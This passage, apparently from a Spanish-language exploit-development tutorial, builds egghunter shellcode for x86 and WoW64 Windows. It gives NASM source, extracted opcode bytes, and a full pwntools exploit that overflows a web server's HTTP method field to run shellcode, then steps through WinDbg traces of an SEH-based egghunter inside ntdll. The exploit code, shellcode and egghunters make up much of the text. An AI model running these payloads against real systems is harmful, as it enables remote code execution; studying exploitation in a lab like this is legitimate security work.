Esta vez dentro de la función se cumplirá el salto condicional por lo que no ejecutara la comparación y puede salir de la función sin corromper el programa
0:000:x86> g wow64!whNtAccessCheckAndAuditAlarm + 0xfc
wow64!whNtAccessCheckAndAuditAlarm+0xfc:
00007ff8`a7d86e0c 498bca mov rcx,r10
0:000> p
wow64!whNtAccessCheckAndAuditAlarm+0xff:
00007ff8`a7d86e0f e8808bfeff call wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC (00007ff8`a7d6f994)
0:000> p
wow64!whNtAccessCheckAndAuditAlarm+0x104:
00007ff8`a7d86e14 488bfb mov rdi,rbx
Una vez solucionamos los problemas que hacian que devolviera 0xc0000005
aunque la página fuera válida el código del egghunter se ve de la siguiente forma, aunque el egghunter es un poco mas grande que el anterior deberia funcionar en sistemas x64
global _start
_start:
xor edx, edx ; $edx = 0x0
.page:
or dx, 0xfff ; get last address in page
.find:
inc edx ; increase memory counter
xor ebx, ebx ; $ebx = 0x0
push ebx ; push 0x0
push ebx ; push 0x0
push edx ; push value to stack
push ebx ; push 0x0
push ebx ; push 0x0
push ebx ; push 0x0
push 0x29 ; push NtAccessCheckAndAuditAlarm
pop eax ; $eax = NtAccessCheckAndAuditAlarm
mov bl, 0xc0 ; wow64cpu!KiFastSystemCall
call [fs:ebx] ; syscall
add esp, 0xc ; clear stack
pop edx ; restore edx
add esp, 0x8 ; clear stack
cmp al, 0x5 ; check ACCESS_VIOLATION (0xc0000005)
jz .page ; if zf == 1 -> next page
mov eax, 0x74303077 ; $eax = "w00t"
mov edi, edx ; $edi = address
scasd ; cmp eax, [edi]
jnz .find ; if zf == 0 -> loop
scasd ; cmp eax, [edi]
jnz .find ; if zf == 0 -> loop
jmp edi ; if zf == 1 -> exec
❯ nasm -f elf egghunter.asm -o egghunter.o
❯ ld egghunter.o -m elf_i386 -o egghunter
❯ objdump -d egghunter | grep '[0-9a-f]:' | grep -v 'egghunter' | cut -f2 -d: | cut -f1-6 -d ' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s
\x31\xd2\x66\x81\xca\xff\x0f\x42\x31\xdb\x53\x53\x52\x53\x53\x53\x6a\x29\x58\xb3\xc0\x64\xff\x13\x83\xc4\x0c\x5a\x83\xc4\x08\x3c\x05\x74\xdf\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xda\xaf\x75\xd7\xff\xe7
Al exploit anterior solo le cambiamos el egghunter
por el que acabamos de crear y ahora al ejecutarlo en un sistema x64
funciona correctamente y lanza la calculadora
#!/usr/bin/python3
from pwn import remote, p32, asm
egg = b"w00t" * 2
egghunter = b"\x31\xd2\x66\x81\xca\xff\x0f\x42\x31\xdb\x53\x53\x52\x53\x53\x53\x6a\x29\x58\xb3\xc0\x64\xff\x13\x83\xc4\x0c\x5a\x83\xc4\x08\x3c\x05\x74\xdf\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xda\xaf\x75\xd7\xff\xe7"
shellcode = b""
shellcode += b"\xfc\xbb\xc2\x02\xd8\xe2\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\x3e\xea\x5a\xe2\xbe\xeb\x3a\x6a"
shellcode += b"\x5b\xda\x7a\x08\x28\x4d\x4b\x5a\x7c\x62\x20"
shellcode += b"\x0e\x94\xf1\x44\x87\x9b\xb2\xe3\xf1\x92\x43"
shellcode += b"\x5f\xc1\xb5\xc7\xa2\x16\x15\xf9\x6c\x6b\x54"
shellcode += b"\x3e\x90\x86\x04\x97\xde\x35\xb8\x9c\xab\x85"
shellcode += b"\x33\xee\x3a\x8e\xa0\xa7\x3d\xbf\x77\xb3\x67"
shellcode += b"\x1f\x76\x10\x1c\x16\x60\x75\x19\xe0\x1b\x4d"
shellcode += b"\xd5\xf3\xcd\x9f\x16\x5f\x30\x10\xe5\xa1\x75"
shellcode += b"\x97\x16\xd4\x8f\xeb\xab\xef\x54\x91\x77\x65"
shellcode += b"\x4e\x31\xf3\xdd\xaa\xc3\xd0\xb8\x39\xcf\x9d"
shellcode += b"\xcf\x65\xcc\x20\x03\x1e\xe8\xa9\xa2\xf0\x78"
shellcode += b"\xe9\x80\xd4\x21\xa9\xa9\x4d\x8c\x1c\xd5\x8d"
shellcode += b"\x6f\xc0\x73\xc6\x82\x15\x0e\x85\xc8\xe8\x9c"
shellcode += b"\xb0\xbf\xeb\x9e\xba\xef\x83\xaf\x31\x60\xd3"
shellcode += b"\x2f\x90\xc4\x2b\x7a\xb8\x6d\xa4\x23\x29\x2c"
shellcode += b"\xa9\xd3\x84\x73\xd4\x57\x2c\x0c\x23\x47\x45"
shellcode += b"\x09\x6f\xcf\xb6\x63\xe0\xba\xb8\xd0\x01\xef"
shellcode += b"\xdb\xb7\x91\x73\x35\x5d\x12\x11\x49\x9d\xe2"
shellcode += b"\xd9\x49\x9d\xe2\xd9"
offset = 253
junk = b"A" * (offset - len(egghunter))
ret = p32(0x00418674)
payload = b""
payload += egghunter
payload += junk
payload += ret
method = b""
method += asm("xor eax, eax")
method += asm("jle $+0x17")
content = b""
content += method + b" /" + payload + b"\r\n\r\n"
content += egg + shellcode
shell = remote("Windows", 80)
shell.sendline(content)
EggHunter SEH
Hasta ahora logramos modificar el egghunter para que funcione en la versión actual de Windows 10
y en un sistema de 64 bits
, sin embargo para saber cual usar necesitariamos saber que version usa el sistema victima, esto generalmente es parte del proceso de reconocimiento pero nuestra idea es tener un exploit que funcione en casi cualquier sistema donde se ejecute sin la necesidad de ser modificado
En exploits anteriores dependiamos de una syscall
para llamar a una funcion que comprobara si la dirección de memoria era valida, sin embargo podemos utilizar el propio sistema SEH
antes visto para hacer esta comprobacion controlando las excepciones que ocurren cuando la dirección no es válida, el equipo de corelan hizo un gran trabajo con el siguiente egghunter sin embargo al probarlo en un sistema actual como Windows 10 simplemente falla en algun punto y no se ejecuta
global _start:
_start:
jmp .addr ; jmp to call .seh
.seh:
mov eax, 0x74303077 ; $eax = "w00t"
pop ecx ; $ecx = handler
push ecx ; push handler
push 0xffffffff ; push nseh
xor ebx, ebx ; $ebx = 0x0
mov [fs:ebx], esp ; overwrite ExceptionList in TEB
.find:
push 0x2 ; push 0x2
pop ecx ; $ecx = counter
mov edi, ebx ; $edi = address
repz scasd ; cmp eax, [edi]
jnz .loop ; if zf == 0 -> loop
jmp edi ; if zf == 1 -> exec
.page:
or bx, 0xfff ; get last address in page
.loop:
inc ebx ; increase memory counter
jmp .find ; loop to cmp
.addr:
call .seh ; call .seh to set handler
push 0xc ; push 0xc
pop ecx ; $ecx = 0xc
mov eax, [esp + ecx] ; $eax = structure for exception
mov cl, 0xb8 ; $ecx = offset to eip
add dword [eax + ecx], 0x6 ; add 0x6 to eip = .page
pop eax ; $eax = return value
add esp, 0x10 ; clear stack
push eax ; push return value
xor eax, eax ; $eax = 0x0
ret ; return to .page
Cuando ocurre una excepción el sistema llama a _except_handler que recibe varios parámetros, el parametro ContextRecord
es uno de los que nos pueden interesar
typedef EXCEPTION_DISPOSITION (*PEXCEPTION_ROUTINE) (
IN PEXCEPTION_RECORD ExceptionRecord,
IN ULONG64 EstablisherFrame,
IN OUT PCONTEXT ContextRecord,
IN OUT PDISPATCHER_CONTEXT DispatcherContext
);
El parámetro ContextRecord
apunta a una estructura CONTEXT
, esta estructura guarda los datos de los registros en el momento en que ocurrió la excepción
Con un offset de 0xb8
encontramos el valor de Eip
que apunta a la dirección de la instrucción que ha ocasionado la excepción, nuestra idea sera modificar esta estructura para llevar el flujo hacia el segmento .page
que aumentara la página
0:000> dt ntdll!_CONTEXT
+0x000 ContextFlags : Uint4B
+0x004 Dr0 : Uint4B
+0x008 Dr1 : Uint4B
+0x00c Dr2 : Uint4B
+0x010 Dr3 : Uint4B
+0x014 Dr6 : Uint4B
+0x018 Dr7 : Uint4B
+0x01c FloatSave : _FLOATING_SAVE_AREA
+0x08c SegGs : Uint4B
+0x090 SegFs : Uint4B
+0x094 SegEs : Uint4B
+0x098 SegDs : Uint4B
+0x09c Edi : Uint4B
+0x0a0 Esi : Uint4B
+0x0a4 Ebx : Uint4B
+0x0a8 Edx : Uint4B
+0x0ac Ecx : Uint4B
+0x0b0 Eax : Uint4B
+0x0b4 Ebp : Uint4B
+0x0b8 Eip : Uint4B
+0x0bc SegCs : Uint4B
+0x0c0 EFlags : Uint4B
+0x0c4 Esp : Uint4B
+0x0c8 SegSs : Uint4B
+0x0cc ExtendedRegisters : [512] UChar
Luego de ello solo necesitamos modificar el valor de retorno desde el registro eax
, esto a través de la estructura _EXCEPTION_DISPOSITION
que contiene 4 posibles valores de retorno, cada uno de estos valores indican como se ha manejado la excepción, para indicar que la excepción se ha manejado con exito tendriamos que usar ExceptionContinueExecution
o representado con su valor hexadecimal 0x00
0:000> dt ntdll!_EXCEPTION_DISPOSITION
ExceptionContinueExecution = 0n0
ExceptionContinueSearch = 0n1
ExceptionNestedException = 0n2
ExceptionCollidedUnwind = 0n3
Ya que el egghunter falla igual que antes al inicio del codigo agregaremos un int3
que a la hora de compilar el valor de este opcode se representará solo como un \xcc
al inicio, este nos servirá como breakpoint
donde se detendrá el debugger
global _start:
_start:
int3
jmp .addr ; jmp to call .seh
Nuevamente ejecutamos el exploit con el nuevo codigo que nos genero el egghunter
#!/usr/bin/python3
from pwn import remote, p32, asm
egg = b"w00t" * 2
egghunter = b"\xcc\xeb\x21\xb8\x77\x30\x30\x74\x59\x51\x6a\xff\x31\xdb\x64\x89\x23\x6a\x02\x59\x89\xdf\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f\x43\xeb\xed\xe8\xda\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1\xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x31\xc0\xc3"
shellcode = b"C" * 300
offset = 253
junk = b"A" * (offset - len(egghunter))
ret = p32(0x00418674)
payload = b""
payload += egghunter
payload += junk
payload += ret
method = b""
method += asm("xor eax, eax")
method += asm("jle $+0x17")
content = b""
content += method + b" /" + payload + b"\r\n\r\n"
content += egg + shellcode
shell = remote("Windows", 80)
shell.sendline(content)
Al ejecutarse se detiene en el breakpoint que ocasiona el int3
, ahora mismo el registro eip
apunta a nuestro nuevo egghunter que procederemos a debuggear
0:000> g
(1680.12f8): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=019029d0 ecx=0000000e edx=77d71670 esi=019029d0 edi=0041703c
eip=0367ea9d esp=0367ea34 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0367ea9d cc int 3
0:000> u eip L1c
0367ea9d cc int 3
0367ea9e eb21 jmp 0367eac1
0367eaa0 b877303074 mov eax,74303077h
0367eaa5 59 pop ecx
0367eaa6 51 push ecx
0367eaa7 6aff push 0FFFFFFFFh
0367eaa9 31db xor ebx,ebx
0367eaab 648923 mov dword ptr fs:[ebx],esp
0367eaae 6a02 push 2
0367eab0 59 pop ecx
0367eab1 89df mov edi,ebx
0367eab3 f3af repe scas dword ptr es:[edi]
0367eab5 7507 jne 0367eabe
0367eab7 ffe7 jmp edi
0367eab9 6681cbff0f or bx,0FFFh
0367eabe 43 inc ebx
0367eabf ebed jmp 0367eaae
0367eac1 e8daffffff call 0367eaa0
0367eac6 6a0c push 0Ch
0367eac8 59 pop ecx
0367eac9 8b040c mov eax,dword ptr [esp+ecx]
0367eacc b1b8 mov cl,0B8h
0367eace 83040806 add dword ptr [eax+ecx],6
0367ead2 58 pop eax
0367ead3 83c410 add esp,10h
0367ead6 50 push eax
0367ead7 31c0 xor eax,eax
0367ead9 c3 ret
El codigo egghunter inicia haciendo un salto a .addr
que ejecuta un call a .seh
0:000> p
eax=00000000 ebx=019029d0 ecx=0000000e edx=77d71670 esi=019029d0 edi=0041703c
eip=0367ea9e esp=0367ea34 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0367ea9e eb21 jmp 0367eac1
0:000> p
eax=00000000 ebx=019029d0 ecx=0000000e edx=77d71670 esi=019029d0 edi=0041703c
eip=0367eac1 esp=0367ea34 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0367eac1 e8daffffff call 0367eaa0
0:000> t
eax=00000000 ebx=019029d0 ecx=0000000e edx=77d71670 esi=019029d0 edi=0041703c
eip=0367eaa0 esp=0367ea30 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0367eaa0 b877303074 mov eax,74303077h
La importancia del call
es que guarda la dirección de retorno en el stack, que es lo que esta despues del call, en este caso todo el código que controla la excepción
0:000> dds esp L1
0367ea30 0367eac6
0:000> u poi(esp)
0367eac6 6a0c push 0Ch
0367eac8 59 pop ecx
0367eac9 8b040c mov eax,dword ptr [esp+ecx]
0367eacc b1b8 mov cl,0B8h
0367eace 83040806 add dword ptr [eax+ecx],6
0367ead2 58 pop eax
0367ead3 83c410 add esp,10h
0367ead6 50 push eax
Guarda en el registro ecx
el valor de la dirección del retorno de la llamada y la devuelve al stack, seguido de ello empuja al stack el valor 0xffffffff
0:000> p
eax=74303077 ebx=019029d0 ecx=0000000e edx=77d71670 esi=019029d0 edi=0041703c
eip=0367eaa5 esp=0367ea30 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0367eaa5 59 pop ecx
0:000> p
eax=74303077 ebx=019029d0 ecx=0367eac6 edx=77d71670 esi=019029d0 edi=0041703c
eip=0367eaa6 esp=0367ea34 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0367eaa6 51 push ecx
0:000> p
eax=74303077 ebx=019029d0 ecx=0367eac6 edx=77d71670 esi=019029d0 edi=0041703c
eip=0367eaa7 esp=0367ea30 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0367eaa7 6aff push 0FFFFFFFFh
0:000> p
eax=74303077 ebx=019029d0 ecx=0367eac6 edx=77d71670 esi=019029d0 edi=0041703c
eip=0367eaa9 esp=0367ea2c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0367eaa9 31db xor ebx,ebx
0:000> dds esp L2
0367ea2c ffffffff
0367ea30 0367eac6
Establece el valor de ebx en 0
y mueve a fs:[ebx]
la dirección del esp
, lo que quiere decir que en fs:[0]
encontraremos el puntero a los ultimos 2 dwords
0:000> r
eax=74303077 ebx=019029d0 ecx=0367eac6 edx=77d71670 esi=019029d0 edi=0041703c
eip=0367eaa9 esp=0367ea2c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0367eaa9 31db xor ebx,ebx
0:000> p
eax=74303077 ebx=00000000 ecx=0367eac6 edx=77d71670 esi=019029d0 edi=0041703c
eip=0367eaab esp=0367ea2c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0367eaab 648923 mov dword ptr fs:[ebx],esp fs:003b:00000000=0367ff70
0:000> p
eax=74303077 ebx=00000000 ecx=0367eac6 edx=77d71670 esi=019029d0 edi=0041703c
eip=0367eaae esp=0367ea2c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0367eaae 6a02 push 2
0:000> dds poi(fs:[0]) L2
0367ea2c ffffffff
0367ea30 0367eac6
Como en fs:[0]
se guarda el puntero se guarda el puntero a la estructura SEH
entonces nuestro controlador apuntara a lo que esta después de la llamada y el siguiente SEH al ser 0xffffffff
indica que no existe y este será el unico controlador
0:000> !exchain
0367ea2c: 0367eac6
Invalid exception stack at ffffffff
Después de modificar la estructura SEH a nuestro favor pasamos a la sección .find
, parecido a lo que vimos antes en eax
se guarda el valor de w00t
, mueve a edi
la dirección actual de memoria y ejecuta scasd
con la diferencia que usa repz
para si sale bien se ejecute de nuevo, como la página no es válida se ocaciona un error
0:000> r
eax=74303077 ebx=00000000 ecx=0367eac6 edx=77d71670 esi=019029d0 edi=0041703c
eip=0367eaae esp=0367ea2c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0367eaae 6a02 push 2
0:000> p
eax=74303077 ebx=00000000 ecx=0367eac6 edx=77d71670 esi=019029d0 edi=0041703c
eip=0367eab0 esp=0367ea28 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0367eab0 59 pop ecx
0:000> p
eax=74303077 ebx=00000000 ecx=00000002 edx=77d71670 esi=019029d0 edi=0041703c
eip=0367eab1 esp=0367ea2c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0367eab1 89df mov edi,ebx
0:000> p
eax=74303077 ebx=00000000 ecx=00000002 edx=77d71670 esi=019029d0 edi=00000000
eip=0367eab3 esp=0367ea2c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0367eab3 f3af repe scas dword ptr es:[edi]
0:000> p
(1680.12f8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=74303077 ebx=00000000 ecx=00000002 edx=77d71670 esi=019029d0 edi=00000000
eip=0367eab3 esp=0367ea2c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
0367eab3 f3af repe scas dword ptr es:[edi]
Al ocurrir una excepción deberia saltar al controlador 0x0367eac6
que definimos antes, sin embargo al establecer un breakpoint
en este y correr el programa nos damos cuenta que nunca llega, algo esta haciendo que el egghunter falle
0:000> !exchain
0367ea2c: 0367eac6
Invalid exception stack at ffffffff
0:000> bp 0x0367eac6
0:000> g
(1680.12f8): Access violation - code c0000005 (!!! second chance !!!)
eax=74303077 ebx=00000000 ecx=00000002 edx=77d71670 esi=019029d0 edi=00000000
eip=0367eab3 esp=0367ea2c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
0367eab3 f3af repe scas dword ptr es:[edi]
Para entender el porque necesitamos cargar el ntdll.dll
en IDA, sabemos que cuando ocurre una excepciónn se llama a KiUserExceptionDispatcher
, esta función llamará a RtlDispatchExceptión
que obtendrá y analizará la ExceptionList
Podemos confirmar que se llama a RtlDispatchException
, cuando ocurre la excepción establecemos el breakpoint
y seguimos el flujo, logramos llegar a el
0:000> bp ntdll!RtlDispatchException
0:000> g
(1680.12f8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=74303077 ebx=00000000 ecx=00000002 edx=77d71670 esi=019029d0 edi=00000000
eip=0367eab3 esp=0367ea2c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
0367eab3 f3af repe scas dword ptr es:[edi]
0:000> g
Breakpoint 1 hit
eax=74303077 ebx=0367e5c0 ecx=0367e5dc edx=77d71670 esi=019029d0 edi=00000000
eip=77d26a10 esp=0367e5ac ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!RtlDispatchException:
77d26a10 8bff mov edi,edi
Mirando los bloques de RtlDispatchException
podemos ver uno que llama a RtlpGetStackLimits
, esto se utiliza para recuperar los limites de la pila, la estructura TEB
tiene los valores StackBase
y StackLimit
justo después de ExceptionList
0:000> dt ntdll!_NT_TIB
ntdll!_NT_TIB
+0x000 ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD
+0x004 StackBase : Ptr32 Void
+0x008 StackLimit : Ptr32 Void
+0x00c SubSystemTib : Ptr32 Void
+0x010 FiberData : Ptr32 Void
+0x010 Version : Uint4B
+0x014 ArbitraryUserPointer : Ptr32 Void
+0x018 Self : Ptr32 _NT_TIB
El bloque de código establece los registros edx
y ecx
con lea
, los registros se basan en el valor de esp
junto con 2
variables estaticas justo antes de la llamada, la funcion devuelve los valores StackBase
y StackLimit
por lo que asumimos que edx
y ecx
contendrán direcciones de memoria utilizadas para almacenar los valores, despues de la llamada el valor asignado a ExceptionList
se mueve a esi
En la función RtlpGetStackLimits
se mueve una dereferencia de fs:[0x18]
a eax
, en el offset 0x18
de la estructura TEB
tenemos a Self que contiuene una dirección de la memoria virtual, despues de que la TEB se almacena en eax
, se ejecutan 2 dereferencias más, la primera de [eax + 0x4]
(StackBase) y se almacena en esi
, la segunda [eax + 0x8]
(StackLimit) y se almacena en eax
, ambas se escriben en las direcciones apuntadas por edx
y ecx
establecidas antes de la llamada
Volviendo al bloque donde se llama a RtlpGetStackLimits
observamos que se guardan nuevamente StackBase
y StackLimit
, esta vez en edi
y ebx
Establecemos un breakpoint en el primer mov
y seguimos ejecutando hasta llegar al salto, los valores de edi
y ebx
coinciden con los de StackBase
y StackLimit
0:000> bp ntdll + 0x46ad1
0:000> g
Breakpoint 2 hit
eax=00000000 ebx=0367e5dc ecx=0367e4fc edx=77d71670 esi=0367ea2c edi=00000000
eip=77d26ad1 esp=0367e518 ebp=0367e5a8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!RtlDispatchException+0xc1:
77d26ad1 8b7c2420 mov edi,dword ptr [esp+20h] ss:0023:0367e538=0367c000
0:000> p
eax=00000000 ebx=0367e5dc ecx=0367e4fc edx=77d71670 esi=0367ea2c edi=0367c000
eip=77d26ad5 esp=0367e518 ebp=0367e5a8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!RtlDispatchException+0xc5:
77d26ad5 8b5c2428 mov ebx,dword ptr [esp+28h] ss:0023:0367e540=03680000
0:000> p
eax=00000000 ebx=03680000 ecx=0367e4fc edx=77d71670 esi=0367ea2c edi=0367c000
eip=77d26ad9 esp=0367e518 ebp=0367e5a8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!RtlDispatchException+0xc9:
77d26ad9 7553 jne ntdll!RtlDispatchException+0x11e (77d26b2e) [br=0]
0:000> r ebx; r edi
ebx=03680000
edi=0367c000
0:000> !teb
TEB at 00287000
ExceptionList: 0367ea2c
StackBase: 03680000
StackLimit: 0367c000
SubSystemTib: 00000000
FiberData: 00001e00
ArbitraryUserPointer: 00000000
Self: 00287000
EnvironmentPointer: 00000000
ClientId: 00001680 . 000012f8
RpcHandle: 00000000
Tls Storage: 00650cf0
PEB Address: 00282000
LastErrorValue: 0
LastStatusValue: c000000d
Count Owned Locks: 0
HardErrorMode: 0
Tambien encontramos una llamada a RtlIsValidHandle
que se encarga de hacer varias comprobaciones, siguiendo los bloques de codigo no hay otrea llamada a esta función por lo que tenemos que llegar a este bloque para que el handler funcione
Antes de llegar a este bloque necesitamos pasar varias comprobaciones, los registros usados en los cmp
coinciden con los que contenian StackLimit
y StackBase
sin embargo para asegurar que no se alteran es revisar bloque por bloque
Esto puede ser un proceso tedioso, para acelerarlo establecemos el primer breakpoint en ntdll + 0x46b45
, si llega ahi podemos asumir que no hay problema con bloques anteriores, afortunadamente alcanzamos el breakpoint, ahora estamos en la primera de varias comprobaciones, si las pasamos llegaremos a la llamada de la función
0:000> bp ntdll + 0x46b45
0:008> g
Breakpoint 3 hit
eax=00000001 ebx=03680000 ecx=0367ea2c edx=77dfbad4 esi=0367e5c0 edi=0367c000
eip=77d26b45 esp=0367e518 ebp=0367e5a8 iopl=0 nv up ei pl nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000217
ntdll!RtlDispatchException+0x135:
77d26b45 3bcf cmp ecx,edi
En la primera comprobacion el codigo intenta determinar si la estructura SEH
se encuentra en una direccion superior a la de StackLimit
, debido a que el egghunter empujo la estructura SEH al stack y luego sobrescribio el ExceptionList
con el valor del esp
pasamos esta comprobación y podemos pasar a la siguiente comparacion
0:000> r ecx; r edi
ecx=0367ea2c
edi=0367c000
0:000> !teb
TEB at 00287000
ExceptionList: 0367ea2c
StackBase: 03680000
StackLimit: 0367c000
SubSystemTib: 00000000
FiberData: 00001e00
ArbitraryUserPointer: 00000000
Self: 00287000
EnvironmentPointer: 00000000
ClientId: 00001680 . 000012f8
RpcHandle: 00000000
Tls Storage: 00650cf0
PEB Address: 00282000
LastErrorValue: 0
LastStatusValue: c000000d
Count Owned Locks: 0
HardErrorMode: 0
El siguiente bloque inicia con una instruccion lea que guarda [ecx + 0x8]
en eax
, el resultado de esto es que eax
almacena la direccion de ExceptionList + 0x8
0:000> r
eax=00000001 ebx=03680000 ecx=0367ea2c edx=77dfbad4 esi=0367e5c0 edi=0367c000
eip=77d26b4d esp=0367e518 ebp=0367e5a8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ntdll!RtlDispatchException+0x13d:
77d26b4d 8d4108 lea eax,[ecx+8]
0:000> r eax
eax=00000001
0:000> ? ecx + 8
Evaluate expression: 57141812 = 0367ea34
0:000> p
eax=0367ea34 ebx=03680000 ecx=0367ea2c edx=77dfbad4 esi=0367e5c0 edi=0367c000
eip=77d26b50 esp=0367e518 ebp=0367e5a8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ntdll!RtlDispatchException+0x140:
77d26b50 3bc3 cmp eax,ebx
0:000> r eax
eax=0367ea34
La siguiente comparacion es de eax
y ebx1
, eax
contiene el valor calculado y ebx
StackBase
, esta comprueba si la dirección de ExceptionList + 0x8
se encuentra en una dirección menor a StackBase
, la razon por la que añade 0x8
es que es el tamaño de la estructura _EXCEPTION_REGISTRATION_RECORD
que consta de 2 dwords
0:000> r
eax=0367ea34 ebx=03680000 ecx=0367ea2c edx=77dfbad4 esi=0367e5c0 edi=0367c000
eip=77d26b50 esp=0367e518 ebp=0367e5a8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ntdll!RtlDispatchException+0x140:
77d26b50 3bc3 cmp eax,ebx
0:000> r eax; r ebx
eax=0367ea34
ebx=03680000
0:000> !teb
TEB at 00287000
ExceptionList: 0367ea2c
StackBase: 03680000
StackLimit: 0367c000
SubSystemTib: 00000000
FiberData: 00001e00
ArbitraryUserPointer: 00000000
Self: 00287000
EnvironmentPointer: 00000000
ClientId: 00001680 . 000012f8
RpcHandle: 00000000
Tls Storage: 00650cf0
PEB Address: 00282000
LastErrorValue: 0
LastStatusValue: c000000d
Count Owned Locks: 0
HardErrorMode: 0
La siguiente instruccion es un test
entre el primer byte de ecx
y el valor de 0x03
, esta instruccion es para confirmar que la direccion de memoria de la estructura _EXCEPTION_REGISTRATION_RECORD
esta alineada con el limite de 4
bytes, ya que no hemos realizado operaciones aritmeticas en esp la alineacion no deberia alterarse
0:000> r
eax=0367ea34 ebx=03680000 ecx=0367ea2c edx=77dfbad4 esi=0367e5c0 edi=0367c000
eip=77d26b58 esp=0367e518 ebp=0367e5a8 iopl=0 nv up ei ng nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000283
ntdll!RtlDispatchException+0x148:
77d26b58 f6c103 test cl,3
0:000> !teb
TEB at 00287000
ExceptionList: 0367ea2c
StackBase: 03680000
StackLimit: 0367c000
SubSystemTib: 00000000
FiberData: 00001e00
ArbitraryUserPointer: 00000000
Self: 00287000
EnvironmentPointer: 00000000
ClientId: 00001680 . 000012f8
RpcHandle: 00000000
Tls Storage: 00650cf0
PEB Address: 00282000
LastErrorValue: 0
LastStatusValue: c000000d
Count Owned Locks: 0
HardErrorMode: 0
0:000> ? cl & 0x03
Evaluate expression: 0 = 00000000
El programa obtiene la dirección de la función _except_handler
y comprueban si se encuentra en una dirección mayor a la de StackBase
, esta se implementa porque la pila solo debe contener datos, las funciones pueden leer o escribir en ella pero no deberia tener código ejecutable, debido a que _except_handler
esta iumplementada en el egghunter localizado en la pila no pasamos esta comprobación por lo que no alcanzaremos la llamada a la función RtlIsValidHandle
donde esperabamos llegar
0:000> r
eax=0367ea34 ebx=03680000 ecx=0367ea2c edx=77dfbad4 esi=0367e5c0 edi=0367c000
eip=77d26b61 esp=0367e518 ebp=0367e5a8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!RtlDispatchException+0x151:
77d26b61 8b4904 mov ecx,dword ptr [ecx+4] ds:0023:0367ea30=0367eac6
0:008> dt ntdll!_EXCEPTION_REGISTRATION_RECORD @ecx
+0x000 Next : 0xffffffff _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x0367eac6 _EXCEPTION_DISPOSITION +367eac6
0:000> p
eax=0367ea34 ebx=03680000 ecx=0367eac6 edx=77dfbad4 esi=0367e5c0 edi=0367c000
